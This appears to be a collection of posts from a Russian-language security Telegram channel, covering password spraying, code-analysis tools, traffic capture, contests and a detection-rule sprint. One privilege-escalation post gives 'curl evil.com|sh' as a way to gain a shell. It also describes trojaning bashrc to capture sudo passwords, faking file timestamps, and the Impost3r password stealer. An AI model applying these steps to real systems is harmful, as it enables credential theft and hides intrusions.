#offensive #note
Если получилось подобрать пароль к одному пользователю - стоит проверить такой же пароль для остальных пользователей (веерная брутфорс атака).

Иногда у пользователя больше одного аккаунта в системе - один может быть служебным, а другой - для работы с документами. Естественно, пароли для удобства ставят одинаковые

#codeanalysis
Удивительно, но парсеров для C (рабочих) почти нет.

Хорошо что у clang есть биндинги, и парсить ast можно даже через питон

Today VirusTotal announced that each sample uploaded will be accompanied by "Code Insight". Code Insight uses Sec-PaLM, one of the generative AI models by Google, to explain what the malicious binary is doing.

Code Insight is available to all users.

tl;dr "they took my job"

#chatgpt на удивление хорошо умеет создавать #frontend если дать правильный промпт

#useful #network #reverse

🛠 Встала, вроде бы, простая задачка - получить дамп трафика для конкретного приложения в Linux.

Для реализации нашлась утилита nsntrace, которое делает нужное за счёт выполнения приложения в отдельном сетевом неймспейсе. Набросал короткую заметку по этому поводу...

📗 https://sysadmin.pm/nsntrace/

#network #trace #pcap

Исходники сервиса с #attackdefense

Первый удачный botrace вместе с @favelanky
Получили B-шку

https://astexplorer.net/
#codeanalysis

Удобный сайт для дебага AST

Полезная штука для #privesc
Если получить шелл под пользователем но не знать пароль от пользователя (например просто внаглую подойти и сделать curl evil.com|sh, или через эксплойт), можно с её помощью попытаться зафишить пароль. Вообще, bashrc и подобные файлы редко регулярно проверяются, а таймштамп можно подменить через touch -a -m -t <timestamp> <file>
Получается защита от подобного сейчас одна - мониторинг логов/SIEM, что для рядового пользователя линукса не подходит. Как вот теперь спокойно запускать sudo, и не параноить по поводу bashrc?

https://github.com/ph4ntonn/Impost3r/

Impost3r is a tool that aim to steal many kinds of linux passwords (including ssh, su, sudo) written by C. Attackers can use Impost3r to make a trap to steal the legal user's passwords.

When Impost3r steal the sudo password successfully, it will automatically clean the traces it make on the target server.

Итак, мы готовы объявить победителей нашего конкурса по взлому онлайн банка!

🎊Напомним призовой фонд:🎊
1️⃣место - 25 000₽ + мерч
2️⃣место - 15 000₽ + мерч
3️⃣место - 10 000₽ + мерч

🏆Наши победители конкурса по взлому онлайн банка🏆

🥇место - lewaperbb

🥈место - MagnumMalum

🥉место - darling_x0r

🎁Мы свяжемся с победителями в репортах на нашей площадке, и конечно ждем вас в 17.30 на нашем стенде для награждения мерчем!🎁

🎈Поздравляем победителей и благодарим всех участников!🎈

Интересный киберполигон, мало сценариев зато бесплатно
priviahub.com

#offensive #resource

Open Security Week — онлайн-спринт для экспертов ИБ

Приглашаю присоединиться к первому онлайн-спринту от сообщества Security Experts Community, который пройдет с 1 по 14 июня. В этот раз будем писать правила корреляции на языке XP.

Как вы знаете, в SOLDR есть модуль коррелятора, поэтому созданная экспертиза будет актуальна для пользователей нашего проекта.

Созданные правила будут опубликованы в открытом репозитории и будут доступны всем желающим.

Чтобы стать участником:
👉🏻 оставь заявку
🖊 подпишись на телеграм-канал
📅 дождись публикации задания 1 июня

Мы будем не соревноваться, а сообща решать актуальные задачи кибербезопасности. Все участники получат памятные подарки и приглашение на ламповый митап, где можно будет познакомиться и пообщаться лично.🍻

В - Валидация